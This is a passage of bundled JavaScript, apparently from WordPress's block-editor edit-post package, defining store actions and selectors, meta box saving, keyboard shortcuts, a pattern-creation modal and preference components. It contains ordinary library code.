560 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).openPublishSidebar", {
561 since: "6.6",
562 alternative: "dispatch( 'core/editor').openPublishSidebar"
563 });
564 registry.dispatch(external_wp_editor_namespaceObject.store).openPublishSidebar();
565};
566const closePublishSidebar = () => ({ registry }) => {
567 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).closePublishSidebar", {
568 since: "6.6",
569 alternative: "dispatch( 'core/editor').closePublishSidebar"
570 });
571 registry.dispatch(external_wp_editor_namespaceObject.store).closePublishSidebar();
572};
573const togglePublishSidebar = () => ({ registry }) => {
574 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).togglePublishSidebar", {
575 since: "6.6",
576 alternative: "dispatch( 'core/editor').togglePublishSidebar"
577 });
578 registry.dispatch(external_wp_editor_namespaceObject.store).togglePublishSidebar();
579};
580const toggleEditorPanelEnabled = (panelName) => ({ registry }) => {
581 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).toggleEditorPanelEnabled", {
582 since: "6.5",
583 alternative: "dispatch( 'core/editor').toggleEditorPanelEnabled"
584 });
585 registry.dispatch(external_wp_editor_namespaceObject.store).toggleEditorPanelEnabled(panelName);
586};
587const toggleEditorPanelOpened = (panelName) => ({ registry }) => {
588 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).toggleEditorPanelOpened", {
589 since: "6.5",
590 alternative: "dispatch( 'core/editor').toggleEditorPanelOpened"
591 });
592 registry.dispatch(external_wp_editor_namespaceObject.store).toggleEditorPanelOpened(panelName);
593};
594const removeEditorPanel = (panelName) => ({ registry }) => {
595 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).removeEditorPanel", {
596 since: "6.5",
597 alternative: "dispatch( 'core/editor').removeEditorPanel"
598 });
599 registry.dispatch(external_wp_editor_namespaceObject.store).removeEditorPanel(panelName);
600};
601const toggleFeature = (feature) => ({ registry }) => registry.dispatch(external_wp_preferences_namespaceObject.store).toggle("core/edit-post", feature);
602const switchEditorMode = (mode) => ({ registry }) => {
603 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).switchEditorMode", {
604 since: "6.6",
605 alternative: "dispatch( 'core/editor').switchEditorMode"
606 });
607 registry.dispatch(external_wp_editor_namespaceObject.store).switchEditorMode(mode);
608};
609const togglePinnedPluginItem = (pluginName) => ({ registry }) => {
610 const isPinned = registry.select(interfaceStore).isItemPinned("core", pluginName);
611 registry.dispatch(interfaceStore)[isPinned ? "unpinItem" : "pinItem"]("core", pluginName);
612};
613function updatePreferredStyleVariations() {
614 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).updatePreferredStyleVariations", {
615 since: "6.6",
616 hint: "Preferred Style Variations are not supported anymore."
617 });
618 return { type: "NOTHING" };
619}
620const showBlockTypes = (blockNames) => ({ registry }) => {
621 unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).showBlockTypes(blockNames);
622};
623const hideBlockTypes = (blockNames) => ({ registry }) => {
624 unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).hideBlockTypes(blockNames);
625};
626function setAvailableMetaBoxesPerLocation(metaBoxesPerLocation) {
627 return {
628 type: "SET_META_BOXES_PER_LOCATIONS",
629 metaBoxesPerLocation
630 };
631}
632const requestMetaBoxUpdates = () => async ({ registry, select, dispatch }) => {
633 dispatch({
634 type: "REQUEST_META_BOX_UPDATES"
635 });
636 if (window.tinyMCE) {
637 window.tinyMCE.triggerSave();
638 }
639 const baseFormData = new window.FormData(
640 document.querySelector(".metabox-base-form")
641 );
642 const postId = baseFormData.get("post_ID");
643 const postType = baseFormData.get("post_type");
644 const post = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord("postType", postType, postId);
645 const additionalData = [
646 post.comment_status ? ["comment_status", post.comment_status] : false,
647 post.ping_status ? ["ping_status", post.ping_status] : false,
648 post.sticky ? ["sticky", post.sticky] : false,
649 post.author ? ["post_author", post.author] : false
650 ].filter(Boolean);
651 const activeMetaBoxLocations = select.getActiveMetaBoxLocations();
652 const formDataToMerge = [
653 baseFormData,
654 ...activeMetaBoxLocations.map(
655 (location) => new window.FormData(getMetaBoxContainer(location))
656 )
657 ];
658 const formData = formDataToMerge.reduce((memo, currentFormData) => {
659 for (const [key, value] of currentFormData) {
660 memo.append(key, value);
661 }
662 return memo;
663 }, new window.FormData());
664 additionalData.forEach(
665 ([key, value]) => formData.append(key, value)
666 );
667 try {
668 await external_wp_apiFetch_default()({
669 url: window._wpMetaBoxUrl,
670 method: "POST",
671 body: formData,
672 parse: false
673 });
674 dispatch.metaBoxUpdatesSuccess();
675 } catch {
676 dispatch.metaBoxUpdatesFailure();
677 }
678};
679function metaBoxUpdatesSuccess() {
680 return {
681 type: "META_BOX_UPDATES_SUCCESS"
682 };
683}
684function metaBoxUpdatesFailure() {
685 return {
686 type: "META_BOX_UPDATES_FAILURE"
687 };
688}
689const __experimentalSetPreviewDeviceType = (deviceType) => ({ registry }) => {
690 external_wp_deprecated_default()(
691 "dispatch( 'core/edit-post' ).__experimentalSetPreviewDeviceType",
692 {
693 since: "6.5",
694 version: "6.7",
695 hint: "registry.dispatch( editorStore ).setDeviceType"
696 }
697 );
698 registry.dispatch(external_wp_editor_namespaceObject.store).setDeviceType(deviceType);
699};
700const setIsInserterOpened = (value) => ({ registry }) => {
701 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).setIsInserterOpened", {
702 since: "6.5",
703 alternative: "dispatch( 'core/editor').setIsInserterOpened"
704 });
705 registry.dispatch(external_wp_editor_namespaceObject.store).setIsInserterOpened(value);
706};
707const setIsListViewOpened = (isOpen) => ({ registry }) => {
708 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).setIsListViewOpened", {
709 since: "6.5",
710 alternative: "dispatch( 'core/editor').setIsListViewOpened"
711 });
712 registry.dispatch(external_wp_editor_namespaceObject.store).setIsListViewOpened(isOpen);
713};
714function setIsEditingTemplate() {
715 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).setIsEditingTemplate", {
716 since: "6.5",
717 alternative: "dispatch( 'core/editor').setRenderingMode"
718 });
719 return { type: "NOTHING" };
720}
721function __unstableCreateTemplate() {
722 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).__unstableCreateTemplate", {
723 since: "6.5"
724 });
725 return { type: "NOTHING" };
726}
727let actions_metaBoxesInitialized = false;
728const initializeMetaBoxes = () => ({ registry, select, dispatch }) => {
729 const isEditorReady = registry.select(external_wp_editor_namespaceObject.store).__unstableIsEditorReady();
730 if (!isEditorReady) {
731 return;
732 }
733 if (actions_metaBoxesInitialized) {
734 return;
735 }
736 const postType = registry.select(external_wp_editor_namespaceObject.store).getCurrentPostType();
737 if (window.postboxes.page !== postType) {
738 window.postboxes.add_postbox_toggles(postType);
739 }
740 actions_metaBoxesInitialized = true;
741 (0,external_wp_hooks_namespaceObject.addAction)(
742 "editor.savePost",
743 "core/edit-post/save-metaboxes",
744 async (post, options) => {
745 if (!options.isAutosave && select.hasMetaBoxes()) {
746 await dispatch.requestMetaBoxUpdates();
747 }
748 }
749 );
750 dispatch({
751 type: "META_BOXES_INITIALIZED"
752 });
753};
754const toggleDistractionFree = () => ({ registry }) => {
755 external_wp_deprecated_default()("dispatch( 'core/edit-post' ).toggleDistractionFree", {
756 since: "6.6",
757 alternative: "dispatch( 'core/editor').toggleDistractionFree"
758 });
759 registry.dispatch(external_wp_editor_namespaceObject.store).toggleDistractionFree();
760};
761const toggleFullscreenMode = () => ({ registry }) => {
762 const isFullscreen = registry.select(external_wp_preferences_namespaceObject.store).get("core/edit-post", "fullscreenMode");
763 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle("core/edit-post", "fullscreenMode");
764 registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(
765 isFullscreen ? (0,external_wp_i18n_namespaceObject.__)("Fullscreen mode deactivated.") : (0,external_wp_i18n_namespaceObject.__)("Fullscreen mode activated."),
766 {
767 id: "core/edit-post/toggle-fullscreen-mode/notice",
768 type: "snackbar",
769 actions: [
770 {
771 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
772 onClick: () => {
773 registry.dispatch(external_wp_preferences_namespaceObject.store).toggle(
774 "core/edit-post",
775 "fullscreenMode"
776 );
777 }
778 }
779 ]
780 }
781 );
782};
783
784
785;// ./node_modules/@wordpress/edit-post/build-module/store/selectors.js
786
787
788
789
790
791
792const { interfaceStore: selectors_interfaceStore } = unlock(external_wp_editor_namespaceObject.privateApis);
793const EMPTY_ARRAY = [];
794const EMPTY_OBJECT = {};
795const getEditorMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(
796 (select) => () => select(external_wp_preferences_namespaceObject.store).get("core", "editorMode") ?? "visual"
797);
798const isEditorSidebarOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(
799 (select) => () => {
800 const activeGeneralSidebar = select(selectors_interfaceStore).getActiveComplementaryArea("core");
801 return ["edit-post/document", "edit-post/block"].includes(
802 activeGeneralSidebar
803 );
804 }
805);
806const isPluginSidebarOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(
807 (select) => () => {
808 const activeGeneralSidebar = select(selectors_interfaceStore).getActiveComplementaryArea("core");
809 return !!activeGeneralSidebar && !["edit-post/document", "edit-post/block"].includes(
810 activeGeneralSidebar
811 );
812 }
813);
814const getActiveGeneralSidebarName = (0,external_wp_data_namespaceObject.createRegistrySelector)(
815 (select) => () => {
816 return select(selectors_interfaceStore).getActiveComplementaryArea("core");
817 }
818);
819function convertPanelsToOldFormat(inactivePanels, openPanels) {
820 const panelsWithEnabledState = inactivePanels?.reduce(
821 (accumulatedPanels, panelName) => ({
822 ...accumulatedPanels,
823 [panelName]: {
824 enabled: false
825 }
826 }),
827 {}
828 );
829 const panels = openPanels?.reduce((accumulatedPanels, panelName) => {
830 const currentPanelState = accumulatedPanels?.[panelName];
831 return {
832 ...accumulatedPanels,
833 [panelName]: {
834 ...currentPanelState,
835 opened: true
836 }
837 };
838 }, panelsWithEnabledState ?? {});
839 return panels ?? panelsWithEnabledState ?? EMPTY_OBJECT;
840}
841const getPreferences = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
842 external_wp_deprecated_default()(`select( 'core/edit-post' ).getPreferences`, {
843 since: "6.0",
844 alternative: `select( 'core/preferences' ).get`
845 });
846 const corePreferences = ["editorMode", "hiddenBlockTypes"].reduce(
847 (accumulatedPrefs, preferenceKey) => {
848 const value = select(external_wp_preferences_namespaceObject.store).get(
849 "core",
850 preferenceKey
851 );
852 return {
853 ...accumulatedPrefs,
854 [preferenceKey]: value
855 };
856 },
857 {}
858 );
859 const inactivePanels = select(external_wp_preferences_namespaceObject.store).get(
860 "core",
861 "inactivePanels"
862 );
863 const openPanels = select(external_wp_preferences_namespaceObject.store).get("core", "openPanels");
864 const panels = convertPanelsToOldFormat(inactivePanels, openPanels);
865 return {
866 ...corePreferences,
867 panels
868 };
869});
870function getPreference(state, preferenceKey, defaultValue) {
871 external_wp_deprecated_default()(`select( 'core/edit-post' ).getPreference`, {
872 since: "6.0",
873 alternative: `select( 'core/preferences' ).get`
874 });
875 const preferences = getPreferences(state);
876 const value = preferences[preferenceKey];
877 return value === void 0 ? defaultValue : value;
878}
879const getHiddenBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
880 return select(external_wp_preferences_namespaceObject.store).get("core", "hiddenBlockTypes") ?? EMPTY_ARRAY;
881});
882const isPublishSidebarOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(
883 (select) => () => {
884 external_wp_deprecated_default()(`select( 'core/edit-post' ).isPublishSidebarOpened`, {
885 since: "6.6",
886 alternative: `select( 'core/editor' ).isPublishSidebarOpened`
887 });
888 return select(external_wp_editor_namespaceObject.store).isPublishSidebarOpened();
889 }
890);
891const isEditorPanelRemoved = (0,external_wp_data_namespaceObject.createRegistrySelector)(
892 (select) => (state, panelName) => {
893 external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditorPanelRemoved`, {
894 since: "6.5",
895 alternative: `select( 'core/editor' ).isEditorPanelRemoved`
896 });
897 return select(external_wp_editor_namespaceObject.store).isEditorPanelRemoved(panelName);
898 }
899);
900const isEditorPanelEnabled = (0,external_wp_data_namespaceObject.createRegistrySelector)(
901 (select) => (state, panelName) => {
902 external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditorPanelEnabled`, {
903 since: "6.5",
904 alternative: `select( 'core/editor' ).isEditorPanelEnabled`
905 });
906 return select(external_wp_editor_namespaceObject.store).isEditorPanelEnabled(panelName);
907 }
908);
909const isEditorPanelOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(
910 (select) => (state, panelName) => {
911 external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditorPanelOpened`, {
912 since: "6.5",
913 alternative: `select( 'core/editor' ).isEditorPanelOpened`
914 });
915 return select(external_wp_editor_namespaceObject.store).isEditorPanelOpened(panelName);
916 }
917);
918const isModalActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(
919 (select) => (state, modalName) => {
920 external_wp_deprecated_default()(`select( 'core/edit-post' ).isModalActive`, {
921 since: "6.3",
922 alternative: `select( 'core/interface' ).isModalActive`
923 });
924 return !!select(selectors_interfaceStore).isModalActive(modalName);
925 }
926);
927const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(
928 (select) => (state, feature) => {
929 return !!select(external_wp_preferences_namespaceObject.store).get("core/edit-post", feature);
930 }
931);
932const isPluginItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(
933 (select) => (state, pluginName) => {
934 return select(selectors_interfaceStore).isItemPinned("core", pluginName);
935 }
936);
937const getActiveMetaBoxLocations = (0,external_wp_data_namespaceObject.createSelector)(
938 (state) => {
939 return Object.keys(state.metaBoxes.locations).filter(
940 (location) => isMetaBoxLocationActive(state, location)
941 );
942 },
943 (state) => [state.metaBoxes.locations]
944);
945const isMetaBoxLocationVisible = (0,external_wp_data_namespaceObject.createRegistrySelector)(
946 (select) => (state, location) => {
947 return isMetaBoxLocationActive(state, location) && getMetaBoxesPerLocation(state, location)?.some(({ id }) => {
948 return select(external_wp_editor_namespaceObject.store).isEditorPanelEnabled(
949 `meta-box-${id}`
950 );
951 });
952 }
953);
954function isMetaBoxLocationActive(state, location) {
955 const metaBoxes = getMetaBoxesPerLocation(state, location);
956 return !!metaBoxes && metaBoxes.length !== 0;
957}
958function getMetaBoxesPerLocation(state, location) {
959 return state.metaBoxes.locations[location];
960}
961const getAllMetaBoxes = (0,external_wp_data_namespaceObject.createSelector)(
962 (state) => {
963 return Object.values(state.metaBoxes.locations).flat();
964 },
965 (state) => [state.metaBoxes.locations]
966);
967function hasMetaBoxes(state) {
968 return getActiveMetaBoxLocations(state).length > 0;
969}
970function selectors_isSavingMetaBoxes(state) {
971 return state.metaBoxes.isSaving;
972}
973const __experimentalGetPreviewDeviceType = (0,external_wp_data_namespaceObject.createRegistrySelector)(
974 (select) => () => {
975 external_wp_deprecated_default()(
976 `select( 'core/edit-site' ).__experimentalGetPreviewDeviceType`,
977 {
978 since: "6.5",
979 version: "6.7",
980 alternative: `select( 'core/editor' ).getDeviceType`
981 }
982 );
983 return select(external_wp_editor_namespaceObject.store).getDeviceType();
984 }
985);
986const isInserterOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
987 external_wp_deprecated_default()(`select( 'core/edit-post' ).isInserterOpened`, {
988 since: "6.5",
989 alternative: `select( 'core/editor' ).isInserterOpened`
990 });
991 return select(external_wp_editor_namespaceObject.store).isInserterOpened();
992});
993const __experimentalGetInsertionPoint = (0,external_wp_data_namespaceObject.createRegistrySelector)(
994 (select) => () => {
995 external_wp_deprecated_default()(
996 `select( 'core/edit-post' ).__experimentalGetInsertionPoint`,
997 {
998 since: "6.5",
999 version: "6.7"
1000 }
1001 );
1002 return unlock(select(external_wp_editor_namespaceObject.store)).getInserter();
1003 }
1004);
1005const isListViewOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
1006 external_wp_deprecated_default()(`select( 'core/edit-post' ).isListViewOpened`, {
1007 since: "6.5",
1008 alternative: `select( 'core/editor' ).isListViewOpened`
1009 });
1010 return select(external_wp_editor_namespaceObject.store).isListViewOpened();
1011});
1012const isEditingTemplate = (0,external_wp_data_namespaceObject.createRegistrySelector)((select) => () => {
1013 external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditingTemplate`, {
1014 since: "6.5",
1015 alternative: `select( 'core/editor' ).getRenderingMode`
1016 });
1017 return select(external_wp_editor_namespaceObject.store).getCurrentPostType() === "wp_template";
1018});
1019function areMetaBoxesInitialized(state) {
1020 return state.metaBoxes.initialized;
1021}
1022const getEditedPostTemplate = (0,external_wp_data_namespaceObject.createRegistrySelector)(
1023 (select) => () => {
1024 const { id: postId, type: postType } = select(external_wp_editor_namespaceObject.store).getCurrentPost();
1025 const templateId = unlock(select(external_wp_coreData_namespaceObject.store)).getTemplateId(
1026 postType,
1027 postId
1028 );
1029 if (!templateId) {
1030 return void 0;
1031 }
1032 return select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
1033 "postType",
1034 "wp_template",
1035 templateId
1036 );
1037 }
1038);
1039
1040
1041;// ./node_modules/@wordpress/edit-post/build-module/store/index.js
1042
1043
1044
1045
1046
1047const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
1048 reducer: reducer_default,
1049 actions: actions_namespaceObject,
1050 selectors: selectors_namespaceObject
1051});
1052(0,external_wp_data_namespaceObject.register)(store);
1053
1054
1055;// ./node_modules/@wordpress/edit-post/build-module/components/keyboard-shortcuts/index.js
1056
1057
1058
1059
1060
1061function KeyboardShortcuts() {
1062 const { toggleFullscreenMode } = (0,external_wp_data_namespaceObject.useDispatch)(store);
1063 const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
1064 (0,external_wp_element_namespaceObject.useEffect)(() => {
1065 registerShortcut({
1066 name: "core/edit-post/toggle-fullscreen",
1067 category: "global",
1068 description: (0,external_wp_i18n_namespaceObject.__)("Enable or disable fullscreen mode."),
1069 keyCombination: {
1070 modifier: "secondary",
1071 character: "f"
1072 }
1073 });
1074 }, []);
1075 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)("core/edit-post/toggle-fullscreen", () => {
1076 toggleFullscreenMode();
1077 });
1078 return null;
1079}
1080var keyboard_shortcuts_default = KeyboardShortcuts;
1081
1082
1083;// ./node_modules/@wordpress/edit-post/build-module/components/init-pattern-modal/index.js
1084
1085
1086
1087
1088
1089
1090function InitPatternModal() {
1091 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_editor_namespaceObject.store);
1092 const [syncType, setSyncType] = (0,external_wp_element_namespaceObject.useState)(void 0);
1093 const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)("");
1094 const { postType, isNewPost } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1095 const { getEditedPostAttribute, isCleanNewPost } = select(external_wp_editor_namespaceObject.store);
1096 return {
1097 postType: getEditedPostAttribute("type"),
1098 isNewPost: isCleanNewPost()
1099 };
1100 }, []);
1101 const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(
1102 () => isNewPost && postType === "wp_block"
1103 );
1104 if (postType !== "wp_block" || !isNewPost) {
1105 return null;
1106 }
1107 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1108 external_wp_components_namespaceObject.Modal,
1109 {
1110 title: (0,external_wp_i18n_namespaceObject.__)("Create pattern"),
1111 onRequestClose: () => {
1112 setIsModalOpen(false);
1113 },
1114 overlayClassName: "reusable-blocks-menu-items__convert-modal",
1115 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1116 "form",
1117 {
1118 onSubmit: (event) => {
1119 event.preventDefault();
1120 setIsModalOpen(false);
1121 editPost({
1122 title,
1123 meta: {
1124 wp_pattern_sync_status: syncType
1125 }
1126 });
1127 },
1128 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
1129 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1130 external_wp_components_namespaceObject.TextControl,
1131 {
1132 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
1133 value: title,
1134 onChange: setTitle,
1135 placeholder: (0,external_wp_i18n_namespaceObject.__)("My pattern"),
1136 className: "patterns-create-modal__name-input",
1137 __nextHasNoMarginBottom: true,
1138 __next40pxDefaultSize: true
1139 }
1140 ),
1141 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1142 external_wp_components_namespaceObject.ToggleControl,
1143 {
1144 __nextHasNoMarginBottom: true,
1145 label: (0,external_wp_i18n_namespaceObject._x)("Synced", "pattern (singular)"),
1146 help: (0,external_wp_i18n_namespaceObject.__)(
1147 "Sync this pattern across multiple locations."
1148 ),
1149 checked: !syncType,
1150 onChange: () => {
1151 setSyncType(
1152 !syncType ? "unsynced" : void 0
1153 );
1154 }
1155 }
1156 ),
1157 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1158 external_wp_components_namespaceObject.Button,
1159 {
1160 __next40pxDefaultSize: true,
1161 variant: "primary",
1162 type: "submit",
1163 disabled: !title,
1164 accessibleWhenDisabled: true,
1165 children: (0,external_wp_i18n_namespaceObject.__)("Create")
1166 }
1167 ) })
1168 ] })
1169 }
1170 )
1171 }
1172 ) });
1173}
1174
1175
1176;// ./node_modules/@wordpress/edit-post/build-module/components/browser-url/index.js
1177
1178
1179
1180
1181function getPostEditURL(postId) {
1182 return (0,external_wp_url_namespaceObject.addQueryArgs)("post.php", { post: postId, action: "edit" });
1183}
1184function BrowserURL() {
1185 const [historyId, setHistoryId] = (0,external_wp_element_namespaceObject.useState)(null);
1186 const { postId, postStatus } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1187 const { getCurrentPost } = select(external_wp_editor_namespaceObject.store);
1188 const post = getCurrentPost();
1189 let { id, status, type } = post;
1190 const isTemplate = ["wp_template", "wp_template_part"].includes(
1191 type
1192 );
1193 if (isTemplate) {
1194 id = post.wp_id;
1195 }
1196 return {
1197 postId: id,
1198 postStatus: status
1199 };
1200 }, []);
1201 (0,external_wp_element_namespaceObject.useEffect)(() => {
1202 if (postId && postId !== historyId && postStatus !== "auto-draft") {
1203 window.history.replaceState(
1204 { id: postId },
1205 "Post " + postId,
1206 getPostEditURL(postId)
1207 );
1208 setHistoryId(postId);
1209 }
1210 }, [postId, postStatus, historyId]);
1211 return null;
1212}
1213
1214
1215;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/meta-boxes-area/index.js
1216
1217
1218
1219
1220
1221
1222function MetaBoxesArea({ location }) {
1223 const container = (0,external_wp_element_namespaceObject.useRef)(null);
1224 const formRef = (0,external_wp_element_namespaceObject.useRef)(null);
1225 (0,external_wp_element_namespaceObject.useEffect)(() => {
1226 formRef.current = document.querySelector(
1227 ".metabox-location-" + location
1228 );
1229 if (formRef.current) {
1230 container.current.appendChild(formRef.current);
1231 }
1232 return () => {
1233 if (formRef.current) {
1234 document.querySelector("#metaboxes").appendChild(formRef.current);
1235 }
1236 };
1237 }, [location]);
1238 const isSaving = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1239 return select(store).isSavingMetaBoxes();
1240 }, []);
1241 const classes = dist_clsx("edit-post-meta-boxes-area", `is-${location}`, {
1242 "is-loading": isSaving
1243 });
1244 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: classes, children: [
1245 isSaving && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
1246 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1247 "div",
1248 {
1249 className: "edit-post-meta-boxes-area__container",
1250 ref: container
1251 }
1252 ),
1253 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-post-meta-boxes-area__clear" })
1254 ] });
1255}
1256var meta_boxes_area_default = MetaBoxesArea;
1257
1258
1259;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/meta-box-visibility.js
1260
1261
1262
1263function MetaBoxVisibility({ id }) {
1264 const isVisible = (0,external_wp_data_namespaceObject.useSelect)(
1265 (select) => {
1266 return select(external_wp_editor_namespaceObject.store).isEditorPanelEnabled(
1267 `meta-box-${id}`
1268 );
1269 },
1270 [id]
1271 );
1272 (0,external_wp_element_namespaceObject.useEffect)(() => {
1273 const element = document.getElementById(id);
1274 if (!element) {
1275 return;
1276 }
1277 if (isVisible) {
1278 element.classList.remove("is-hidden");
1279 } else {
1280 element.classList.add("is-hidden");
1281 }
1282 }, [id, isVisible]);
1283 return null;
1284}
1285
1286
1287;// ./node_modules/@wordpress/edit-post/build-module/components/meta-boxes/index.js
1288
1289
1290
1291
1292
1293function MetaBoxes({ location }) {
1294 const metaBoxes = (0,external_wp_data_namespaceObject.useSelect)(
1295 (select) => select(store).getMetaBoxesPerLocation(location),
1296 [location]
1297 );
1298 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1299 (metaBoxes ?? []).map(({ id }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MetaBoxVisibility, { id }, id)),
1300 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(meta_boxes_area_default, { location })
1301 ] });
1302}
1303
1304
1305;// external ["wp","keycodes"]
1306const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
1307;// ./node_modules/@wordpress/edit-post/build-module/components/more-menu/manage-patterns-menu-item.js
1308
1309
1310
1311
1312
1313
1314function ManagePatternsMenuItem() {
1315 const url = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1316 const { canUser } = select(external_wp_coreData_namespaceObject.store);
1317 const defaultUrl = (0,external_wp_url_namespaceObject.addQueryArgs)("edit.php", {
1318 post_type: "wp_block"
1319 });
1320 const patternsUrl = (0,external_wp_url_namespaceObject.addQueryArgs)("site-editor.php", {
1321 p: "/pattern"
1322 });
1323 return canUser("create", {
1324 kind: "postType",
1325 name: "wp_template"
1326 }) ? patternsUrl : defaultUrl;
1327 }, []);
1328 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { role: "menuitem", href: url, children: (0,external_wp_i18n_namespaceObject.__)("Manage patterns") });
1329}
1330var manage_patterns_menu_item_default = ManagePatternsMenuItem;
1331
1332
1333;// ./node_modules/@wordpress/edit-post/build-module/components/more-menu/welcome-guide-menu-item.js
1334
1335
1336
1337
1338
1339function WelcomeGuideMenuItem() {
1340 const isEditingTemplate = (0,external_wp_data_namespaceObject.useSelect)(
1341 (select) => select(external_wp_editor_namespaceObject.store).getCurrentPostType() === "wp_template",
1342 []
1343 );
1344 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1345 external_wp_preferences_namespaceObject.PreferenceToggleMenuItem,
1346 {
1347 scope: "core/edit-post",
1348 name: isEditingTemplate ? "welcomeGuideTemplate" : "welcomeGuide",
1349 label: (0,external_wp_i18n_namespaceObject.__)("Welcome Guide")
1350 }
1351 );
1352}
1353
1354
1355;// ./node_modules/@wordpress/edit-post/build-module/components/preferences-modal/enable-custom-fields.js
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365const { PreferenceBaseOption } = unlock(external_wp_preferences_namespaceObject.privateApis);
1366function submitCustomFieldsForm() {
1367 const customFieldsForm = document.getElementById(
1368 "toggle-custom-fields-form"
1369 );
1370 customFieldsForm.querySelector('[name="_wp_http_referer"]').setAttribute("value", (0,external_wp_url_namespaceObject.getPathAndQueryString)(window.location.href));
1371 customFieldsForm.submit();
1372}
1373function CustomFieldsConfirmation({ willEnable }) {
1374 const [isReloading, setIsReloading] = (0,external_wp_element_namespaceObject.useState)(false);
1375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-post-preferences-modal__custom-fields-confirmation-message", children: (0,external_wp_i18n_namespaceObject.__)(
1377 "A page reload is required for this change. Make sure your content is saved before reloading."
1378 ) }),
1379 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1380 external_wp_components_namespaceObject.Button,
1381 {
1382 __next40pxDefaultSize: true,
1383 variant: "secondary",
1384 isBusy: isReloading,
1385 accessibleWhenDisabled: true,
1386 disabled: isReloading,
1387 onClick: () => {
1388 setIsReloading(true);
1389 submitCustomFieldsForm();
1390 },
1391 children: willEnable ? (0,external_wp_i18n_namespaceObject.__)("Show & Reload Page") : (0,external_wp_i18n_namespaceObject.__)("Hide & Reload Page")
1392 }
1393 )
1394 ] });
1395}
1396function EnableCustomFieldsOption({ label }) {
1397 const areCustomFieldsEnabled = (0,external_wp_data_namespaceObject.useSelect)((select) => {
1398 return !!select(external_wp_editor_namespaceObject.store).getEditorSettings().enableCustomFields;
1399 }, []);
1400 const [isChecked, setIsChecked] = (0,external_wp_element_namespaceObject.useState)(areCustomFieldsEnabled);
